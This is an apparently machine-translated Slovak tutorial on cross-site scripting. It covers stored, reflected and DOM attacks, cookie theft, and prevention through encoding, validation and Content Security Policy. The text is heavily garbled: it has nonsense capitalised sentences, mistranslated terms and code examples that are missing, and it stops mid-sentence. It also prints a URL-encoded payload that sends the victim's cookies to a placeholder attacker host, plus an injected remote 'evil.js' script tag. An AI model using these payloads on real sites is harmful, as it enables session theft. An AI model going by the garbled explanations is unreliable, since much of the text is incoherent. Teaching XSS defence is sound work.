Použitie zraniteľností XSS na maximum. XSS útoky: Čo sú a čo sú nebezpečné XSS útočiaci tréning

Prostredníctvom XSS, skúsení útočníci integrujú do stránok stránok, ktorí pracujú na nich skripty vykonané v čase návštevy infikovaných zdrojov. Existuje niekoľko typov zraniteľností XSS, ktoré predstavujú iný stupeň nebezpečenstva.

Vlastnosti pasívnej a aktívnej zraniteľnosti

Najviac starostlivo stojí za to zaobchádzať s aktívnou zraniteľnosťou. Keď útočník implementuje svoj kód SQL do cenovo dostupnej databázy alebo súboru na server, každý návštevník infikovaného zdroja môže byť obeťou. Takéto miesta sú často integrované, preto aj údaje o spracovaných údajoch uložené v databáze môžu naďalej predstavovať určité nebezpečenstvo.

Vytvorenie pasívnej zraniteľnosti XSS vyžaduje útočník určitej vynaliezavosti. Buď ste lákali na ponorkovom zdroji so všetkými druhmi referencií, alebo sa snažia akýmkoľvek spôsobom postúpiť požadované miesto. To sa zvyčajne deje prostredníctvom písmen z fiktívneho správania stránky, ktorú navštívite, s požiadavkami na kontrolu nastavení účtu. AKTUÁLNE POUŽÍVAŤ RALÉRIA SPAMOVÝCH NOVÍKOV ALEBO POSTUPU NA ŠIROKTOVANÝCH FÓROVOSTI.

Pasívna zraniteľnosť XSS môže pokračovať z oboch príspevkov aj z get-parametrov. Pre prvé, počet rôznych trikov sa vyznačuje, že druhý - kódovanie čiary URL je buď vloženie ďalších hodnôt.

Únosové cookies

Najčastejšie je to vaše cookies, ktoré sú cieľom útoku XSov. Niekedy existujú cenné informácie v nich, vrátane užívateľských prihlásení a hesiel alebo ich hash. Ale je to dosť nebezpečné a spáchanie krádeže aktívnych zasadnutí Dôležité stránky pre vás, takže nezabudnite stlačiť tlačidlo "výstup" aj pri návšteve stránok z domáceho počítača. Hoci väčšina prostriedkov na zabránenie takýmto činnostiam používa automatické obmedzenie trvania relácie. Obmedzenia domény XMLHTTPREQUEST z takýchto útokov neuložia.

Údaje z vyplnených formulárov

Evoidy popularity a informácie o čítaní vo vyplnenej forme. Ak to chcete urobiť, na spôsobenie záujmov sa spúšťajú bežiace udalosti (onsubmit) a všetky poskytnuté údaje sa posielajú aj na útočníkové servery. Takéto útoky sú do značnej miery podobné phishingu, ale krádež nie je na falšovanom, ale na reálnej stránke s dobrou povesťou.

Distribuované útoky DDOS

Pre útoky cez XSS sa používajú viacnásobné zdroje. Vďaka zraniteľnosti XSS, zasielanie požiadaviek na ne vzťahujú na neho krakovaný server, v dôsledku čoho jeho ochrana nevydrží.

FAKE POŽIADAVKY NA PRIPOJENIA (CSRF / XSRF)

Oni majú tiež málo spoločných s XSS. Ide o samostatnú škálu zraniteľností používaných v spojení s XSS. Ich cieľom je priniesť oprávneného používateľa z nezraniteľnej stránky na podmorskú zraniteľnú stránku pre podvodné operácie. Napríklad klient používajúci elektronický platobný systém je lákať na zraniteľné miesto, ktoré prenášajú peniaze na účty votrelcov. Preto vo väčšine platobných systémov zabezpečuje ochranu dodatočné zadané heslo alebo potvrdenie prevádzky kódu.

Zavedenie červov XSS

Takéto XSS útok na stránke sa objavili s rozvojom slávnych sociálnych sietí (VKontakte, Twitter a ďalšie). Prostredníctvom nich, celé skupiny používateľov dostávajú zraniteľné XSS odkazy na integrované skripty, ktoré posielajú Spamové siete z ich menu. Tiež široko praktizované a prejsť osobné údaje a fotografie na zdroje votrelcov.

Príklady neškodných XS

Všimnite si, že mnoho typov metrov tiež vykonáva úlohu aktívnych XSov. Sú prevedené do údajov o registrácii návštevníkov (IP adresy, údaje o použitom zariadení).

Iba tento kód integruje vo vašom počítači na vlastnej vôli. Na iné podobné XSS môžete bezpečne atribútovať niekoľko krokov CrossDomerain Ajax.

Cross-site skriptovanie alebo XSS. Krížové skriptovanie (prepojenie scenárov).

Prítomnosť zraniteľnosti skriptovania krížovej lokality umožňuje útočníkovi odoslať spustiteľný kód na server, ktorý bude presmerovaný na užívateľský prehliadač. Tento kód sa zvyčajne vytvára v HTML / Javascript, ale môže byť použitý VBScript, ActiveX, Java, Flash alebo iná technológia podporovaná prehliadačom.

Prenesený kód sa vykonáva v kontexte zabezpečenia (alebo bezpečnostnej zóny) zraniteľného servera. Používanie týchto privilégií, kód dostane možnosť čítať, upravovať alebo prenášať dôležité údaje dostupné pomocou prehliadača. Na zapadnutom používateľovi môže byť ohrozený snímač (krádež Cookie), jeho prehliadač je možné presmerovať na iný server alebo je obsah servera nahradený. V dôsledku starostlivo plánovaného útoku môže útočník využiť prehliadač obete zobraziť stránky stránky v mene útočného používateľa. Kód môže prenášať útočník v adrese URL v titulkoch a štruktúre protokolu HTTP dotazov (cookie, užívateľom agenta, refferer), hodnoty polí formulára atď.

Existujú tri typy útokov, ktoré vedú k prepojeniu scenárov prevodu: nepretržité netrhavé (odráža), \\ t pretrvávajúca konštanta (Uložené) a dom. Hlavným rozdielom medzi perzistentnými a netvrdými je, že v odrazenej verzii sa prenos kódového servera a návrat k svojmu klientovi vykonáva v rámci jednej požiadavky HTTP a v uloženej - v inom.

Implementácia netrhaného útoku vyžaduje, aby užívateľ prepne na odkaz tvorený útočníkom (odkaz môže byť prevedený e-mailom, ICQ atď.). V procese sťahovania stránky sa kód zabudovaný v adresári URL alebo hlavičky dotazu bude prevedený na klienta a je vyrobený vo svojom prehliadači.

Zachovanú variáciu zraniteľnosti sa vyskytuje, keď je kód prenášaný na server a pretrváva na ňom nejakú dobu. Najobľúbenejšie ciele útokov v tomto prípade sú fóra, pošta s webovými rozhraniami a chatovými miestnosťami. Pre útok, užívateľ nemusí prejsť odkazom, stačí navštíviť zraniteľné miesto.

    Príklad. Uložená (pretrvávajúca) možnosť útoku. Mnohé stránky majú bulletinové tabule a fóra, ktoré umožňujú používateľom opustiť správy. Registrovaný užívateľ je typicky identifikovaný podľa čísla

sessions uložené v cookie. Ak útočník opustí správu obsahujúcu kód v JavaScript, dostane prístup k identifikátoru používateľa. COOKIE CODE Príklad:

    Príklad. Odráža (netvrdny) možnosť útoku. Mnohé servery poskytujú používateľom možnosť vyhľadávať obsah servera. Spravidla sa žiadosť prenáša na adresu URL a je obsiahnutá vo výslednej stránke.

Napríklad pri prechode na adresu URL http: //portal.example/search? Q \u003d "Fresh Beer" Používateľ bude zobrazený stránku obsahujúcu výsledky vyhľadávania a frázy: "0 stránok nájdené na vašej požiadavke." Ak sa JavaScript prenesie ako požadovaná fráza, bude vykonaná v prehliadači používateľa. Príklad:

Http: //portal.example/search/? Q \u003d

Kódovanie URLENCOOD je možné použiť na skrytie kódu skriptu

Http: //portal.example/index.php? Sessionid \u003d 12312312 & užívateľské meno \u003d% 3c% 73% 63% 72% 69% 70% 74% 3E% 64% 6F% 63% 75% 6D% 65% 6E% 74 % 2E% 6C% 6F% 63% 61% 74% 69% 6F% 6E% 3D% 27% 68% 74% 74% 70% 3A% 2F% 2f% 61% 74% 74% 61% 63% 6B% 65 % 72% 68% 6F% 73% 74% 2E% 65% 78% 61% 65% 78% 63% 65% 65% 63% 67% 69% 2D% 62% 69% 6E% 2F% 63% 6F% 6F % 6B% 69% 65% 73% 74% 65% 61% 6C% 2E% 63% 67% 69% 3F% 27% 2B% 64% 62% 63% 75% 6D% 65% 6E% 74% 2E% 63 % 6F% 6F% 6B% 69% 65% 3C% 2F% 73% 63% 72% 69% 70% 74% 3E

Plangaň David Javascript.

Výňatok z knihy FLANDANGAN DAVID JavaScript Full Guide 5 Edition.

Termín cross-site skriptovanie (kríž "skriptovanie lokality), alebo XSS, sa vzťahuje na oblasť zraniteľnosti počítača, keď útočník zavádza HTML tagy alebo skripty na dokumenty na zraniteľnej webovej stránke. Organizácia ochrany proti útokom XSov - spoločná vec pre webburders angažované Pri tvorbe serverových scenárov. Avšak programátori vyvíjajúci klient Javascript skripty by tiež mali vedieť o útokoch XSov a prijať opatrenia na ochranu pred nimi.

Webová stránka je považovaná za zraniteľnú na útoky na XSS, ak dynamicky vytvorí obsah dokumentu založený na užívateľských dát, ktoré neprejavili predbežné spracovanie, aby sa odstránila vstavaný HTML kód. Ako triviálny príklad zvážte nasledujúcu webovú stránku, ktorá používa JavaScript skript na privítanie používateľa podľa mena:

V druhom riadku skriptu sa volá metóda Window.Location.Search.substreling, s ktorou časťou adresného panela je načítaný, počnúc symbolom?. Potom sa pridá metóda Dokument.write (), je pridaný dynamicky generovaný obsah dokumentu. Tento skript naznačuje, že prístup k webovej stránke sa uskutoční približne o takúto adresu URL:

Http://www.example.com/greet.html?Name\u003ddavid

V tomto prípade sa zobrazí text "HI DAVID". Ale čo sa stane, ak je stránka požadovaná pomocou ďalšej adresy URL:

Http://www.example.com/greet.html?Name\u003d%3cscript%3EAlt ("David ')% 3c / Script% 3E.

S takýmto obsahom, script adresy URL dynamicky generuje iný skript (kódy% 3c a% 3e sú uhlové konzoly)! V tomto prípade vložený skript jednoducho zobrazí dialógové okno, ktoré nepredstavuje žiadne nebezpečenstvo. Ale predstavte si takýto prípad:

Http: //sitea/greet.html? Názov \u003d% 3cccript SRC \u003d SiteB / Evil.js% 3E% 3c / Script% 3E

Cross-site skriptovanie je, pretože viac ako jedna stránka sa zúčastňuje na útoku. Stránka B (alebo dokonca C) obsahuje špeciálne navrhnuté prepojenie (podobné ako len zobrazené) na stránku A, ktorá obsahuje skript z lokality B. Evil.js skript sa nachádza na webovej stránke útočníka B, ale teraz Tento scenár sa ukáže, že bude implementovaný na stránke A a môže urobiť všetko, čo je spokojný s obsahom stránky A. On môže vymazať stránku alebo volať iné porušenie na mieste stránky (napríklad odmietnuť údržbu, Ako je opísané v nasledujúcej časti). Môže nepriaznivo ovplyvniť návštevníkov stránky A. oveľa nebezpečnejšie, že takýto škodlivý scenár môže prečítať obsah cookies uložených na mieste A (prípadne obsahujúce čísla účtu alebo iné osobné údaje) a posielať tieto údaje späť na stránku b , Zabudovaný skript môže dokonca sledovať stlačenie klávesov a poslať tieto údaje na miesto B.

Univerzálna metóda prevencie XSS je odstrániť HTML tagy zo všetkých údajov pochybného pôvodu pred ich použitím na dynamicky vytvoriť obsah dokumentu. Ak chcete tento problém opraviť v predchádzajúcom súbore Greet.html, musíte pridať ďalší riadok do skriptu, ktorý je navrhnutý tak, aby ste si vybrali rohové konzoly obklopujúce značku". Každý používateľ, ktorý navštívil stránku, teraz dostane nasledujúcu odpoveď:


Posledná poznámka:

Keď prehliadač používateľa načíta stránku, vykoná všetko, vrátane kódu JavaScriptu obsiahnutého vo vnútri značiek . To naznačuje, že jednoduchá prítomnosť skriptu implementovaného útočníkom je problém, bez ohľadu na to, ktorý konkrétny skriptový kód sa skutočne vykoná.

Druhá časť: XSS-útok

XSS Útok účastníkov

Pred popisom toho, ako podrobne popisovať, ako sa XSS útočí na práce, musíme identifikovať témy útoku XSS. Všeobecne platí, že v útokoch XSS sú traja účastníci: webová stránka, obeť, I. zlodej.

  • Webová stránka Poskytuje HTML stránky pre používateľov, ktorí ich požiadali. V našich príkladoch sa nachádza na internetovej stránke http: //.
    • Databáza webových stránok Je to databáza, ktorá ukladá niektoré údaje zadané používateľmi na stránkach stránok.
  • Obeť - Toto je pravidelný užívateľ webovej stránky, ktorá požaduje stránky s jeho prehliadačom.
  • Útočiť - Toto je útočník, ktorý má v úmysle začať útok na obeť prostredníctvom využitia zraniteľnosti XSov na webe.
    • Burgar - Toto je webový server pod kontrolou útočníka s jediným účelom - krádeže dôverných informácií o obete. V našich príkladoch sa nachádza na http: // útočník /.

Príklad Útok scenára

Tento skript vytvorí požiadavku HTTP na inú adresu URL, ktorá presmeruje prehliadač používateľa na server útočníka. Adresa URL obsahuje obeť cookies ako parameter dotazu, keď sa žiadosť HTTP prichádza na útočník server, útočník môže z tejto požiadavky extrahovať tieto cookies. Potom, čo útočník dostal cookies, môže ich použiť, aby sa dali obetovať a začať následný útok.

Z tohto bodu sa nazýva vyššie uvedený HTML kód Škodlivý reťazec alebo Škodlivý skript. Je dôležité pochopiť, že samotný reťazec je škodlivý, len ak je nakoniec spracovaný ako HTML kód v prehliadači obete, čo sa môže vyskytnúť len vtedy, ak je na webovej stránke k dispozícii zraniteľnosť XSS.

Ako to funguje

Nižšie uvedená schéma ukazuje príklad útoku útočníka:

  1. Útočník používa jednu z foriem webovej stránky, aby sa do databázy webových stránok vložila škodlivý reťazec.
  2. Obeť sa pýta stránky z webovej stránky.
  3. Stránka obsahuje škodlivý reťazec z databázy v reakcii a pošle ho obeti.
  4. Prehliadač obete vykonáva škodlivý scenár v rámci odpovede, posiela obete na útočník server.

Typy XSS.

Účelom útoku XSS je vždy pri vykonávaní škodlivého javascript skriptu v prehliadači obete. Na dosiahnutie tohto cieľa existuje niekoľko zásadných spôsobov. XSS útoky sú často rozdelené do troch typov:

  • Uložené (trvalé) XSSkde škodlivý reťazec pochádza z databázy webových stránok.
  • Odráža (netrhavé) XSSKde je škodlivý reťazec vygenerovaný z požiadavky obete.
  • XSS Dom modelyTam, kde sa zraniteľnosť vyskytne v kóde na strane klienta, a nie na strane servera.

V predchádzajúcom príklade sa zobrazí útok uložených XSS. Teraz popisujeme dva ďalšie typy XSS-útokov: odráža XSS a XSS-ATTACK DOM modely.

Odráža XSS.

V prípade odrazeného útoku XSov je škodlivý reťazec súčasťou žiadosti obete na webovú stránku. Stránka prijíma a vloží tento škodlivý reťazec užívateľovi zaslanému používateľovi. Nižšie uvedená schéma ilustruje tento skript:

  1. Obeť podvodne pošle požiadavku URL na webovú stránku.
  2. Stránka obsahuje škodlivý reťazec z dotazu URL v reakcii na obeť.
  3. Prehliadač obete vykonáva škodlivý scenár obsiahnutý v odpovedi, posielať obete na votrelovač servera.

Ako úspešne vykonať ATTACK ATTACKU?

ZAHRANIČNOSTI ZAHRENÍ ZAHRANIČNÝM ATTUÁLNYMI ZAPOJENÝMI ZAPOJENÝMI ZAPOJENÝMI OBCHODNÍKA ZAPOJÚCA ZAPOJENÉHO NÁZVUJÚCEHO NÁZVUJÚCEHO NÁZVUJÚCEHO NÁHRADU. Pretože nikto sa nebude dobrovoľne zaútočiť, zdá sa, že neexistuje žiadny spôsob, ako skutočné vykonávanie útoku.

Ako sa ukáže, existujú aspoň dva spoločné spôsoby, ako sa obetovať, aby sa začali odrážať napadnutý XSS napadnutý proti sebe:

  • Ak je užívateľ špecifická osobnosť, útočník môže poslať škodlivú adresu URL k obeti (napríklad pomocou e-mailu alebo posla) a oklamať, aby ste ho mohli otvoriť odkaz na návštevu webovej stránky.
  • Ak je cieľom je veľká skupina používateľov, útočník môže publikovať odkaz na škodlivú adresu URL (napríklad na vlastnej webovej stránke alebo na sociálnej sieti) a čakať na návštevníkov, ktorí pôjdu na odkaz.

Obe tieto metódy sú podobné a obaja môžu byť úspešnejšie pomocou služieb na "skrátenie" adresy URL, zamaskovali škodlivý reťazec od užívateľov, ktorí ho mohli identifikovať.

XSS v modeli DOM

XSS v DOM Model je možnosť ako uložené a odráža útok XSS. V tomto útokoch XSS nie je škodlivý reťazec spracovaný prehliadačom obete, kým sa nevykonáva skutočný Javascript webovej stránky. Nižšie uvedená schéma ilustruje tento skript pre premýšľanie XSS ATTACKS:

  1. Útočník vytvorí adresu URL obsahujúcu škodlivú reťazec a pošle ho obeti.
  2. Obeť podvodne pošle požiadavku URL na webovú stránku.
  3. Stránka prijíma žiadosť, ale nezahŕňa škodlivý reťazec v reakcii.
  4. Prehliadač obete vykonáva legitímny skript obsiahnutý v odpovedi, v dôsledku čoho sa do stránky vloží škodlivý skript.
  5. Prehliadač obete vykonáva škodlivý skript vložený do stránky, ktorý posiela cookies obete do systému votrelového servera.
Aký je rozdiel medzi XSS v modeli DOM?

V predchádzajúcich príkladoch uložených a odrazených napadnutí XSov, server vloží škodlivý skript na stránku, ktorá je potom odoslaná v reakcii na obeť. Keď bol prehliadač obete prijatý odpoveď, predpokladá, že škodlivý skript je súčasťou legitímneho obsahu stránky a automaticky ho vykoná počas načítania stránky, ako aj ktorýkoľvek iný scenár.

V príklade prepadov XSov v modeli DOM sa škodlivý skript nie je vložený ako súčasť stránky; Jediný skript, ktorý sa automaticky vykoná počas záťaže stránky, je legitímnou časťou stránky. Problém je, že tento legitímny scenár priamo používa záznam používateľa, aby pridal HTML na stránku. Vzhľadom k tomu, že škodlivý reťazec je vložený do stránky pomocou INNERHTML, je analyzovaný ako HTML, v dôsledku čoho sa vykoná škodlivý skript.

Toto rozlišovanie je malé, ale veľmi dôležité:

  • V tradičných XSS, škodlivý Javascript sa vykonáva, keď je stránka načítaná, ako súčasť HTML odoslaného serverom.
  • V prípade XSS v modeli DOM, je škodlivý Javascript vykonaný po načítaní stránky, v dôsledku toho táto stránka s legitímnou Javascript sa označuje ako nebezpečný spôsob, ako užívateľský vstup (obsahujúci škodlivý reťazec).
Ako Xss pracuje v modeli DOM?

V predchádzajúcom príklade nie je potrebný JavaScript; Server môže generovať všetky HTML sám o sebe. Ak kód na strane servera neobsahuje zraniteľnosti, webová stránka nebude podliehať zraniteľnostiam XSS.

Avšak, pretože webové aplikácie sa stávajú pokročilejšími, rastúce množstvo HTML stránok je generované pomocou Javascriptu na strane klienta, a nie na serveri. Obsah sa musí kedykoľvek zmeniť bez aktualizácie celej stránky, je možné používať JavaScript. To je najmä prípad, keď sa stránka aktualizuje po dotaze AJAX.

To znamená, že zraniteľnosť XSS môžu byť prítomné nielen na serverovej časti kódu vašej stránky, ale aj na strane kódu JavaScriptu klienta vašej stránky. V dôsledku toho, dokonca aj s plne bezpečným kódom na strane servera, kód klienta môže byť stále bezpečne umožnený zadať užívateľské dáta pri aktualizácii domu po prevzatí stránky. Ak sa to stane, kód z klienta umožní útok XSS nie je poruchou kódu zo strany servera.

XSS založený na modeli DOM môžu byť pre server neviditeľný

Existuje špeciálny prípad útokov XSov v dome modelu, v ktorom škodlivý reťazec nie je nikdy odoslaný na webový server: Toto sa stane, keď je škodlivý reťazec obsiahnutý v fragmente identifikátora URL (niečo po symbolu #). Prehliadače túto časť URL neposielajú na server, takže webová stránka k nemu nemá prístup pomocou kódu na strane servera. Kódex z Klienta má však prístup k nemu, a preto je možné vykonávať ATTACT XSS ATTIONSE BUSAPE.

Tento prípad nie je obmedzený na identifikátor fragmentu. K dispozícii je tiež ďalší vstup užívateľa, ktorý je pre server neviditeľný, napríklad nové funkcie HTML5, ako napríklad lokálne statočné a indexeddb.

TROČNÁ ČASŤ:
Prevencia XSS

Metódy prevencie XSS

Pripomeňme, že XSS je útokom typu nasadenia kódu: Používateľ zadaný užívateľom je chybne interpretovaný ako škodlivý kód programu. Aby sa zabránilo tomuto typu injekcie kódu, vyžaduje sa bezpečné spracovanie vstupu. Pre webový vývojár, existujú dva zásadne odlišné spôsoby, ako vykonávať bezpečné spracovanie vstupu:

  • Kódovanie - To je spôsob, ktorý vám umožní zadať údaje používateľom len ako dáta a neumožňuje spracovanie prehliadača ako kód.
  • Overovanie - Táto metóda filtruje užívateľský vstup tak, že prehliadač interpretuje ako kód bez škodlivých príkazov.

Aj keď sú to zásadne odlišné metódy prevencie XSS, majú niekoľko všeobecných znakov, ktoré sú dôležité pre pochopenie pri používaní niektorého z nich:

Kontextové spracovanie bezpečného vstupu musí byť vykonané odlišne v závislosti od toho, kde sa používa užívateľský vstup na stránku. Prichádzajúce / odchádzajúce bezpečné vstupné spracovanie môže byť vykonané buď vtedy, keď vaše stránky prijíma vstupné údaje (prichádzajúce prevádzku) alebo priamo predtým, ako site vloží vlastný záznam do obsahu stránok (odchádzajúci). Klient / Server Secure Input Spracovanie môže byť vykonané buď na strane klienta alebo na strane servera, každá možnosť je potrebná za rôznych okolností.

Pred vysvetlením podrobnosti o tom, ako kódovanie a validácia funguje, opisujeme každú z týchto položiek.

Spracovanie vstupu používateľa v kontextoch

Existuje mnoho kontextov na webovej stránke, kde je možné použiť vlastný vstup. Osobitné pravidlá musia byť splnené pre každú z nich, takže vstup užívateľa nemôže "prerušiť" z jeho kontextu a nemožno ho interpretovať ako škodlivý kód. Nižšie sú najčastejšie kontexty:

Aký je význam kontextov?

Vo všetkých opísaných kontextoch sa môže vyskytnúť zraniteľnosť vedúca k XSS, ak používateľ zadaný užívateľom bol vložený do prvého kódovania alebo validácie. Útočník môže predstaviť škodlivý kód jednoducho vložením uzatváracieho oddeľovača pre tento kontext a potom, čo je škodlivý kód.

Napríklad, ak na určitom bode webová stránka obsahuje zadávanie údajov užívateľom priamo do atribútu HTML, útočník bude schopný implementovať škodlivý skript tým, že spustí jeho zadávací vstup, ako je uvedené nižšie:

To by mohlo byť zabránené, jednoducho odstrániť všetky citácie v užívateľskom vstupe a všetko by bolo v poriadku, ale len v tomto kontexte. Ak bol vstup vložený do iného kontextu, uzavretý separátor sa bude líšiť a injekcia bude možné. Z tohto dôvodu by sa bezpečné vstupné spracovanie malo vždy prispôsobiť kontextu, v ktorom sa vloží užívateľský vstup.

Spracovanie prichádzajúceho / vstupného vstupu

Inštinktívne, môže sa zdať, že XSS je možné zabrániť kódovaním alebo potvrdením celého užívateľského vstupu, akonáhle naše stránky prijíma. Akýkoľvek škodlivé čiary sa teda už neutralizujú vždy, keď sú zahrnuté v stránke, a skripty HTML generácie sa nemusia starať o bezpečné spracovanie vstupu používateľa.

Problém je, že ako už bolo opísané užívateľom zadaným užívateľom, je možné vložiť do niekoľkých kontextov na stránke. A nie je jednoduchý spôsob, ako určiť, kedy vstup užívateľa prichádza v kontexte - pretože sa bude nakoniec vložiť, a ten istý vstup užívateľa musí byť často vložený do rôznych kontextov. Spoliehanie sa na spracovanie prichádzajúceho vstupu, aby sa zabránilo XSS, vytvárame veľmi krehké riešenie, ktoré bude podliehať chybám. (Zastarané "magické citácie" PHP sú príkladom takéhoto riešenia.)

Namiesto toho musí byť spracovanie odchádzajúceho vstupu vašej hlavnej ochrannej čiary od XSS, pretože môže vziať do úvahy špecifický kontext, ktorý používateľ zadaný užívateľom bude vložený. Do určitej miery je možné pridať sekundárnu ochranu vrstvu, ale neskôr.

Tam, kde je možné vykonávať bezpečné spracovanie vstupu používateľa

Vo väčšine moderných webových aplikácií je užívateľská položka spracovávaná na strane servera a na strane klienta. Aby bolo možné chrániť pred všetkými typmi XSS, musí byť bezpečné spracovanie vstupu vykonané v kóde na strane servera a strane klienta.

  • Aby bolo možné chrániť pred tradičnými XSS, bezpečné spracovanie vstupu sa musí vykonať v kóde na strane servera. Toto sa robí s jazykom podporovaným serverom.
  • Aby ste mohli chrániť proti útoku XSS v modeli DOM, kde server nikdy nedostane škodlivý reťazec (napríklad predtým popísaný útok cez identifikátor fragment), bezpečné vstupné spracovanie sa musí vykonať v kóde na strane klienta. Toto sa robí s Javascriptom.

Teraz, keď sme vysvetlili, prečo je dôležité, prečo je dôležitý rozdiel medzi prichádzajúcim a odchádzajúcim vstupným spracovaním, a prečo je potrebné zabezpečiť spracovanie vstupu na oboch stranách, a na strane klienta a na strane servera môžeme naďalej vysvetliť Ako sa skutočne vykonávajú dva typy bezpečného spracovania vstupu (kódovanie a overovanie).

Kódovanie

Kódovanie je cesta zo situácie, keď je nevyhnutné, aby prehliadač vstupu používateľa interpretuje len ako údaje, a nie kód. Najobľúbenejší typ kódovania v vývoji webu je maskovanie HTML, ktoré konvertuje znaky, ako napr < a > v < a > resp.

Nasledujúci Pseudocode je príkladom toho, ako môže byť používateľ zadaný užívateľom (CUSTOM ENTER) kódovaný pomocou HTML Maskingu a potom vložená na stránku pomocou scenára servera:

vytlačiť " "
Vytlačiť "Posledná poznámka:"
Print EncodeHTML (userinput)
Vytlačiť ""

Ak užívateľ vstúpi do nasledujúceho riadku Výsledný HTML bude vyzerať takto:


Posledná poznámka:

Pretože všetky symboly so špeciálnymi hodnotami boli skryté, prehliadač nebude rozoberať žiadnu časť vstupu používateľa ako HTML.

Kódovací kód na strane klienta a servera

Pri kódovaní kódovania kódov od klienta sa vždy používa jazyk JavaScriptu, ktorý má vstavané funkcie, ktoré kódujú údaje pre rôzne kontexty.

Pri vykonávaní kódovania vo vašom kóde na strane servera sa spoliehate na funkcie dostupné vo vašom jazyku alebo rámci. Vzhľadom k veľkému počtu jazykov a dostupných rámcov, tento tutoriál nebude pokrývať podrobnosti o kódovaní v každom konkrétnom serveri alebo rámci. Pri písaní kódu na strane servera sa však používajú aj funkcie kódujúceho JavaScript používané na strane klienta.

Kódovanie na strane klienta

Pri kódovaní vlastného vstupu klienta pomocou JavaScriptu existuje niekoľko vstavaných metód a vlastností, ktoré automaticky kódujú všetky údaje v kontextovom závislom štýle:

Posledný vyššie uvedený kontext (hodnoty v Javascript) nie sú zahrnuté v tomto zozname, pretože JavaScript neposkytuje vstavanú metódu kódovania údajov, ktorá bude povolená v zdrojovom kóde JavaScript.

Obmedzenia kódovania

Aj keď je možné kódovať, je možné použiť škodlivé čiary v niektorých kontextoch. Jasný príklad toho je, keď sa používateľ používa na poskytnutie adresy URL, napríklad v nasledujúcom príklade:

dokument.QueryEcEtor ("A"). Href \u003d userinput

Hoci zadaná hodnota vo vlastnosti HREF Element Automaticky kóduje tak, aby sa to nebola viac ako hodnota atribútu, to sám o sebe nezasahuje do útočníka vložiť adresu URL počnúc "JavaScript:". Keď kliknete na odkaz, bez ohľadu na stavbu, bude vstavaný JavaScript vo vnútri adries URL vykonať.

Kódovanie tiež nie je efektívne riešenie, keď chcete, aby používatelia používali časť HTML kódy na stránke. Príkladom je stránka profilu používateľa, kde používateľ môže používať používateľa HTML. Ak je tento obvyklý HTML kódovaný, stránka profilu bude schopná pozostávať len z jednoduchého textu.

V takýchto situáciách by malo byť kódovanie doplnené validáciou, s ktorým sa dozvieme ďalej.

Overovanie

Validácia je akt filtrovania vstupu používateľa, takže všetky škodlivé časti, ktoré majú byť odstránené bez nutnosti odstrániť celý kód v ňom. Jedným z najpoužívanejších typov overovania v vývoji webu vám umožňuje používať niektoré HTML prvky (napríklad, a ) Ale zasiahne iné (napríklad,

So vhodne špecifickou politikou CSP, prehliadač nemôže prevziať a spustiť škodlivý-script.js, pretože http: // útočník / nie je špecifikovaný ako spoľahlivý zdroj. Aj keď si stránka nedokázala bezpečne spracovávať vstup používateľa v tomto prípade, politika CSP zabránila zraniteľnosti a spôsobili akékoľvek škody.

Aj keď útočník vstrekovaný kódom v kóde scenárov, a nie odkazom na externý súbor, správne nakonfigurovaná politika CSP bude tiež zakázať injekciu do Javascriptového kódu, ktorým sa bráni zraniteľnosti a spôsobí akékoľvek škody.

Ako povoliť CSP?

V predvolenom nastavení prehliadače nepoužívajú CSP. Ak chcete povoliť SCP na vašich webových stránkach, stránky musia obsahovať dodatočnú hlavičku HTTP: Politika obsahu a bezpečnosti. Akákoľvek stránka obsahujúca tento titul použije bezpečnostné politiky pri zavádzaní prehliadača za predpokladu, že prehliadač podporuje CSP.

Vzhľadom k tomu, bezpečnostná politika sa odosiela s každou odpoveďou HTTP, je možné individuálne nainštalovať politiku na serveri individuálne pre každú stránku. Rovnaká politika sa môže aplikovať na celú webovú stránku, vloženie rovnakej hlavičky CSP v každej odpovedi.

Obsah v hlavičke politiky-bezpečnostnej politiky obsahuje reťazec definujúci jednu alebo viac bezpečnostných politík, ktoré budú fungovať na vašich stránkach. Syntax tohto reťazca bude opísaná nižšie.

Príklady hlavičiek Táto časť využíva prenos riadkov a zarážok pre jednoduchosť vnímania; Nemali by byť prítomné v tejto hlavičke.

Syntax CSP

Syntax hlavičky CSP vyzerá takto:

Obsahovo-bezpečnostná politika:
smernica zdrojový výraz, zdrojový výraz, ...;
smernica ...;
...

Táto syntax sa skladá z dvoch prvkov:

  • Smernice (smernice) Prezentujúce čiary označujúce typ zdroja prevzatý zo zadaného zoznamu.
  • Zdrojové výrazy Je to model opisujúci jeden alebo viac serverov, z ktorých si môžete stiahnuť zdroje.

Pre každú smernicu, údaje v zdrojovom výraze určujú, ktoré zdroje môžu byť použité na načítanie zdrojov príslušného typu.

Smernica

V hlavičke CSP možno použiť tieto smernice:

  • connect-src.
  • fONT-SRC.
  • rám-SRC.
  • img-src.
  • mEDIA-SRC.
  • objekt-src.
  • script-src.
  • Štýl-SRC.

Okrem toho je možné použiť špeciálnu smernicu predvolené SRC na zabezpečenie predvolenej hodnoty pre všetky smernice, ktoré neboli zahrnuté v názve.

Vyjadrenie zdroja

Syntax na vytvorenie expresie zdroja je nasledovná:

protokol: // Názov hostiteľa: Číslo portu

Názov hostiteľa môže začať *, znamená to, že bude vyriešená akákoľvek subdoména názvu hostiteľa. Podobne môže byť číslo portu reprezentované ako *, znamená to, že všetky porty budú vyriešené. Okrem toho je možné vynechať protokol a číslo portu. Ak nie je uvedený protokol, politika bude vyžadovať, aby všetky zdroje boli načítané pomocou HTTPS.

Okrem vyššie uvedenej syntaxe môže byť zdrojový výraz jedným zo štyroch kľúčových slov s špeciálnou hodnotou (cenové ponuky) ako alternatíva:

"Žiadne" zakazuje zdroje. "Ja" umožňuje zdrojov z hostiteľa, na ktorom sa nachádza webová stránka. "Nebezpečný-inline" umožňuje zdroje obsiahnuté na stránke ako vstavané